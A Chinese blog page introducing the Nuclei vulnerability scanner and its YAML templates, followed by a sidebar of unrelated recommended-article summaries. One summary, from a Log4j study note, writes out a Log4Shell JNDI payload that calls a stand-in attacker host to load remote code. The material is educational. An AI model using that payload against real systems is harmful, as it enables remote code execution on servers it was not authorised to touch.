Nuclei:用 YAML 写漏洞扫描规则,29k Star 的安全工具

海康威视CVE-2021-36260高危漏洞:从原理到修复的完整指南 文件上传漏洞是Web安全领域的常见威胁,其核心原理在于服务器对用户上传的文件缺乏严格的校验机制,如类型、大小和内容检查。攻击者通过构造恶意请求,可在服务器上执行任意代码,从而获取系统控制权。这类漏洞的技术价值在于其危害性极高,常导致远程代码执行和数据泄露。在物联网和安防监控领域,网络摄像头等设备因长期暴露在公网且维护不足,成为攻击的重点目标。本文聚焦于海康威视设备中广泛存在的CVE-2021-36260高危漏洞,该漏洞正是一个典型的认证前文件上传漏洞,攻击者无需密码即可远程控制设备。文章将深入剖析其原理,并 阅读详情

Nuclei:用 YAML 写漏洞扫描规则,29k Star 的安全工具

最近挖漏洞、做渗透的朋友圈子里,Nuclei 几乎成了一个绕不开的工具。这个由 ProjectDiscovery 团队开源的项目,在 GitHub 上已经积累了 29k+ Star,而且还在快速增长。

很简单一个理由:它把漏洞扫描这件事,从"写复杂脚本"变成了"写 YAML 配置文件"。

正文顶部截图

为什么 Nuclei 能火?

传统的漏洞扫描器有个共性问题:它们是封闭的、厂商驱动的。一个新漏洞曝光后,要等厂商更新规则库才能检测,这个周期往往以周甚至月为单位。而攻击者拿到 PoC 后,几天内就会大规模利用。

Nuclei 的做法完全不同。它的扫描规则是用 YAML 写的,格式简单到任何一个安全工程师花 10 分钟就能看懂并自己写一条规则。社区贡献的模板库已经覆盖了从常见 CVE 到云服务错误配置的各种场景。

YAML 模板定义好发送什么请求、期望什么响应,匹配到就告警。因为模拟的是真实的攻击步骤,误报率极低。

核心功能

Nuclei 支持的协议很全:HTTP、TCP、DNS、SSL、WHOIS,甚至 JavaScript 和 Code 协议都有。Web 漏洞之外,还能用它检测网络层面的问题、证书配置错误、子域名接管等。

README区域截图

速度是另一个卖点。Nuclei 的并行扫描引擎做到了模板级别的并发控制,单个模板内部还能对多个目标做并发探测。默认配置下每秒可以发送 150 个请求,对一个开源工具来说已经相当能打。

输出格式也做得务实:JSON、JSONL、SARIF、Markdown 全支持,方便接入 Jira、Splunk、Elastic 这些平台。能直接出 SARIF 报告意味着可以无缝塞进 GitHub Code Scanning。

实际使用

用起来很简单。扫单个目标:

nuclei -target https://example.com

批量扫:

nuclei -list urls.txt

用自己写的规则:

nuclei -u https://example.com -t /path/to/your-template.yaml

安装就更直接了,Go 环境下一行命令搞定:

go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

有个值得提的功能是 AI 模板生成(-ai -prompt),输入自然语言描述,Nuclei 能直接生成对应的 YAML 模板。对于不太熟悉 DSL 语法的人来说是个不错的入口。

生态和局限

Nuclei 的模板库由全球数千名安全研究人员共同维护,ProjectDiscovery 还设立了贡献者奖励计划。模板质量整体在线,从 Log4Shell 到各类云厂商的配置错误,覆盖面很广。

不过 Nuclei 定位是 CLI 工具,不是服务。项目文档明确说了直接把它当服务跑有安全风险。如果需要团队协作和大规模持续扫描,他们提供了 Pro 和 Enterprise 的云版本,集成了 SAML SSO、合规报告、Slack/Jira 联动等功能。

适合谁用

如果你是安全从业人员,特别是做渗透测试或漏洞挖掘的,Nuclei 值得放进工具箱。模板生态能让你在对一个新目标做信息收集后,快速跑一遍全量检测,覆盖常见的已知漏洞面。

如果你是做安全自动化的 DevOps,它完善的输出格式和 CI/CD 集成能力,可以让漏洞检测成为流水线的一环。

核心问题是规则质量依赖社区贡献。针对冷门或私有系统的检测,还是需要自己写模板。但对互联网上常见的安全问题,Nuclei 是目前覆盖面最广的开源选择。

质量依赖社区贡献。针对冷门或私有系统的检测,还是需要自己写模板。但对互联网上常见的安全问题,Nuclei 是目前覆盖面最广的开源选择。

优雅谈大模型:“System2”与“System 1” 研究人员探索了三种System 2方法——RaR、S2A 和 BSM,这些方法已经成功提炼到新的LLM,这个新的模型与System 1相比,产生了更好的结果,而且成本低于System 2。然而这种方法是有局限性,只能适用于特定的任务。 阅读详情

相关推荐

【电驱动】永磁同步电机工作原理及分类

永磁同步电机工作原理及分类

星Yeah 的博客 7344

AI驱动的自动化攻击平台如何重塑网络安全攻防格局

自动化渗透测试与AI智能体是当前网络安全领域的热点技术。其核心原理在于通过智能体(Agent)技术,将自然语言指令自动分解、规划并调用一系列安全工具,形成端到端的自动化攻击链。这项技术的价值在于极大提升了安全测试的效率,将复杂的攻击流程标准化和模块化。在应用场景上,它能够广泛应用于漏洞利用链构建、资产监控与发现、以及内网横向移动辅助。CyberStrikeAI作为此类平台的代表,通过集成上百个开源工具并封装为标准化模块,结合工作流编排与知识库(RAG),实现了攻击能力的“民主化”,显著降低了实施复杂网络攻击

weixin_34277853的博客 377

[亚信线上教学] AX58100: EtherCAT从站设备仿真功能设计教学

什么情况需要开启EtherCAT从站设备仿真功能呢? 一般来说, 当EtherCAT从站产品,不需要使用额外的微控制器介入,或使用不具备EtherCAT从站通讯协议栈的微控制器一同协作的情况下,就必须开启EtherCAT从站设备仿真功能,这样EtherCAT主站才能够正常设置从站设备的工作状态. 亚信AX58100 EtherCAT从站控制芯片的优点 AX58100 EtherCAT从站控制器, 集成2个百兆以太网Phis, 并支持一些额外的控制接口, 例如脉冲宽度调变, 增量, 霍尔编码器, .

allanchou1的专栏 7429

安全测试效率翻倍:Yakit插件商店与Web Fuzzer实战指南(含POC源码解读)

本文详细介绍了如何利用Yakit插件商店和Web Fuzzer提升安全测试效率,包括POC源码解读和实战操作指南。通过Yakit的可视化界面和插件生态,安全工程师可以快速部署漏洞检测脚本,实现从自动化到手工测试的完整闭环。文章还提供了Web Fuzzer的高级技巧和工程化实践建议,助力企业构建高效的安全测试流程。

auu55357的博客 337

CiteSpace基础操作(CNKI数据的导入分析)(一)

1 Cite Space简单介绍 2 文献导入 2.1 打开知网,选择高级检索

m0_50990607的博客 5万+

Linux初级介绍之番外篇:Linux挂载windows中的共享目录

挂载windows共享目录Windows端共享权限设定解禁Guest设置共享目录权限Linux挂载端扫描共享目录挂载共享目录遇到错误的解决方案 Windows端共享权限设定 解禁Guest 右击我的电脑选择管理–>本地用户和组–>在用户项中双击Guest用户–>取消账号已禁用选项 设置共享目录权限 右击共享目录点属性–>在共享页面中点击共享选项–>下拉选择共享对象为Everyone–>点击共享按钮 3.设置本地策略 打开命令框–>输入secpol.msc–&gt

m0_53497201的博客 230

湖南省网安基地网络安全培训:零基础入门与实战进阶的课程衔接

零基础学网安,怕跟不上;有基础再学,怕重复。本文按阶段拆解湖南省网安基地的网络安全培训衔接逻辑:能力评估定起点,基础阶段补系统与网络底座,核心阶段练漏洞复现,进阶阶段进入红蓝对抗与单位网络安全攻防演练,并说明 NISP、CISP 与网安实战人才的对应关系。

2401_84466325的博客 1147

【WRF数据准备】海温(SST)数据替换

【WRF数据准备】海温(SST)数据替换

WW、forever的博客 1120

企业如何同时管理用电安全、电能质量和节能降碳?从异常溯源看施耐德电气EEO的协同管理价值

通过整合电力运行信息,并结合EEO资产健康模块、EEO电能质量模块与EEO能碳管理模块,企业可以围绕设备、回路和负荷建立更连续的分析流程,使不同专业人员能够基于相互关联的数据开展判断。企业需要进一步核对异常出现的时间、涉及的配电回路、生产负荷变化以及设备运行状态,才能判断问题来自正常的生产调整、设备运行异常,还是需要采取措施的电能质量问题。从关键回路的异常排查入手,逐步完善设备数据、专业分析和治理验证流程,企业可以让用电安全、电能质量与节能降碳从分散的管理任务,转变为相互关联的日常运营工作。

科技,技术,行业类博主 191

毕设助力!从0到1构建基于YOLO的家居安防异常活动监测系统,让你的毕设守护家庭安全

做完这个项目,你会发现自己完整走过了“数据采集→标注→模型训练→功能集成→界面开发”的毕设全流程,这不仅是技术能力的证明,更是对“技术守护生活”这一理念的实践。答辩时,你可以重点讲这几点:系统解决了家居安防的哪些痛点、对比了不同YOLO模型的性能差异、系统未来能怎么优化(比如对接智能门锁/报警器、实现语音交互)。未来,这个系统还能往“更智能”的方向发展:比如结合行为分析判断异常意图、开发移动端APP实现全屋设备联动、在智慧社区中实现多家庭联防……想象空间很大。

LXY_LOVE36的博客 125

【深度学习|学习笔记】广义线性模型Generalized linear model(GLM)模型详解,附代码。

【深度学习|学习笔记】广义线性模型Generalized linear model(GLM)模型详解,附代码。

2401_89898861的博客 1879

DPU安全组与ACL性能测试:从规则爆炸到线速卸载的实战指南

本文深入剖析DPU安全组与网络ACL的底层卸载架构,通过两个完整实战测试矩阵,量化评估规则复杂度、有状态连接跟踪(Conntrack)及OVS Offload协同对RoCEv2性能的影响。结合真实故障排查案例与工具输出矩阵,揭示大规模云环境中安全组性能跌落的根因,并给出基于规则聚合与硬件表项优化的最优配置指南。

专注分享DPU、RDMA智能网卡/SSD(固态硬盘)产品测试与优化 363

uniapp - 如何跟内嵌 web-view 组件内的网页交互,与 web-view 内嵌网页进行双向通信(uniapp 与 webview 网页之间的 “相互“ 传值)提供详细的示例代码及解决方案

uni-app如何实现在H5环境中与web-view中的网页交互通讯uniappuni-app 与 web-view内嵌网页 双向通信 如何跟内嵌web-view交互uniappAPP与webview子页面交互uniappAPP与webview子页面交互关于uni-app 使用 web-view 页面之间互相跳转、通信等问题uniapp的web-view嵌入网页,网页与uniapp通信webview如何与uniapp写的H5页面交互嵌套webview调用uniapp各种API组件实现H5和app通讯和交互

✅ 精选推荐文章 1万+

防关联浏览器怎么设置更安全?从环境隔离到登录检查的操作步骤

本文介绍防关联浏览器的安全设置流程:先明确每个环境的用途与归属,再隔离浏览数据、核验实际网络出口和配置一致性,最后做好多因素认证、会话保护与变更记录。浏览器环境隔离有助于减少配置混用,但不能保证账号不会被关联或限制。

2601_96176203的博客 182

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

隔离下沉到网络层,智能体安全的重心换了位置|2026年11月14日

安全边界正从应用层下沉至网络与运行时,英伟达Scale-In通过硬件级隔离实现租户安全,AWS AgentCore将成本与隔离纳入运行时管控。上下文成本差异超一个量级,工具调用方式直接影响开销。智能体生成代码需依赖细粒度评测,保真度56.6%揭示其仍处辅助阶段。权重微调0.016%即显著提效,但依赖精准定位与即时反馈。趋势明确:将模糊判断转化为可测指标,构建可复现的工程闭环。

kenshin1980的专栏 171

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

敏感参数不要放在 URL 里---->从 `validateLogin` 与短信验证码接口看 GET / POST 的安全边界

很多接口在功能上“GET 也能实现”,但从安全角度看,只要参数里包含敏感信息,就不应该放在 URL 上。登录 token:一旦泄露,攻击者可以直接复用登录态;手机号:属于个人敏感信息,泄露后可能被用于骚扰、撞库、精准诈骗,短信接口本身还可能被恶意刷取。的 token 参数从 GET 改为 POST;短信验证码发送接口的手机号参数从 GET query 改为 POST body。敏感参数不能进入 URL;POST 只是让参数离开 URL 的第一步。

gzyes 176

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

Chrony与SSH实战:精准时间同步与安全远程登录

本文介绍了chrony时间同步服务与SSH远程登录技术。chrony作为RHEL9、OpenEuler默认的时间同步工具,通过NTP协议实现高精度时钟同步,配置简洁高效,支持硬件时钟同步与网络时间源校准,适用于日志、交易等对时间一致性要求高的场景。SSH则提供安全的远程登录与文件传输功能,基于非对称加密实现密钥认证免密登录,提升安全性与运维效率。通过合理配置端口、禁止root登录、启用白名单及密钥认证,可显著增强系统安全性。

2301_80092853的博客 202

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 214

单北斗GNSS变形监测系统在大坝安全维护中的重要性

单北斗GNSS变形监测系统在大坝安全维护中发挥着关键作用。该系统通过先进的传感器和高精度位移监测,实时获取结构形变数据,有效评估大坝的稳定性。借助GNSS技术与自动化监控,单北斗解决方案提升了监测效率,为基础设施安全提供坚实的数据支持和保障。

2501_92661340的博客 208

MCP隔离层+行级语义审计+输出校验:AI访问数据库的安全边界拆解

“数据不出库”是AI数据库的安全承诺,但数据不离开数据库,不等于权限体系自动生效、审计链路自动完整。AI Agent的访问模式与传统DBA完全不同:自然语言驱动、SQL动态生成、批量上下文读取、难以区分正常推理与恶意指令。金仓KES AI数据库的库内生安全管控,核心不是“把数据锁在库里”,而是用MCP协议隔离层让AI永远不持有数据库凭据,用行级控制+语义审计让每一次AI访问可追溯、可分级、可阻断。本文拆解这层安全边界的工程实现,以及“数据不出库”之后仍然需要回答的三个问题。

DBAxiaoye的博客 183

GM/T 0018-2023 删掉了整章「安全要求」,密码设备应用接口把要求写进了函数签名

GM/T 0018-2023 把 2012 版的第 7 章「安全要求」整章删掉了,同时新增 6.8 验证调试类 12 个函数。这两件事是一回事:2012 版一边禁止私钥明文出设备,一边在 6.3 和 6.4 里把能碰明文的函数和内部运算并排摆着;2023 版把它们全部收进 6.8 一类,节首只写一句「仅用于调试、测试、检测,不用于实际密码服务」。6.3 从 21 个函数减到 16 个,剩下十六个没有一条的入参或出参是明文密钥;6.4 从 10 个减到 7 个,减掉的三个正好是私钥作为入参的那三个。要求没有取

CISSP 持证,在安当做密码产品。写身份认证、密钥管理、数据加密在真实系统里的取舍。 170

你的YouTube频道安全吗?AI剧出海创收风险排查与应对策略

小五兄弟结合平台观察,拆解内容出海需要重点排查的创收风险。

xiaowubros的博客 193

智能体私有化部署服务商推荐:信创适配与安全基线

翻智能体私有化部署服务商推荐这类名单,多数人先看模型规模与并发数,真正决定项目能不能进机房的却是另外两页纸:一页是信创适配矩阵,一页是安全基线条款。前者回答它能不能在国产芯片与国产操作系统上跑起来,后者回答它跑起来之后,审计、权限、加密这些硬要求能不能过关。两页纸拿不出来,功能演示再顺也进不了内网。这两页难写,是因为它们不像功能清单那样可以现场演示。适配要在真机上跑,基线要逐条对,任何一项缺证据,评审都会卡在同一个问句上:你怎么证明它行。所以看方案时的顺序要反过来,先找证据,再看承诺;

dachuiai的博客 90

智能合约系列一之一:智能合约安全全景图

Solidity语言与编译语义;EVM执行模型;存储、内存与调用数据;权限、代理与治理;代币标准与外部调用;预言机、清算与金融逻辑;协议组合与跨链消息;部署、监控与应急响应。越靠近底层,越容易发现单点代码缺陷;越靠近业务和系统层,越容易发现协议设计中的状态和经济问题。系统保护什么资产?哪些状态必须始终成立?谁可以改变关键状态?外部调用会带来什么控制权?哪些价格、余额和消息值得信任?攻击者能否把多个正常功能组合成异常结果?出现问题后,协议能否及时止损?

hekulers的博客 386

JFrog零接触修复功能解读:自动修复第三方组件漏洞,不中断构建的软件供应链安全方案

JFrog新推出零接触修复功能:自动从任意生态系统合作伙伴处,为已知漏洞寻找最佳可用修复方案,并通过客户的流水线进行应用,且不会中断构建、强制版本更新或干扰开发者的工作流。

weixin_49715102的博客 154

采购智能体如何安全进入生产环境?权限、审批与人工接管机制怎么设计?

采购智能体安全进入生产环境,并不是限制AI参与采购业务,而是让它在明确的身份权限、业务规则和审批责任下发挥价值。信息处理可以提高自动化程度,业务操作需要授权与状态校验,关键决策必须保留必要的人工责任;出现异常时,系统还应能够暂停、追溯和接管。对于企业而言,采购智能体的成熟度不只体现在能否完成任务,更体现在是否能够安全、稳定地完成任务。通过智能体与流程执行型软件协同,让AI参与需求处理、风险识别和规则化执行,同时保持采购业务的规范性,才能推动采购智能化从功能试点走向生产级应用。

xiaoyunxuexibiji的博客 202
上一篇: Coolify:自己托管的 Heroku 替代方案
普通网友
博客等级 码龄1年 8粉丝 10原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值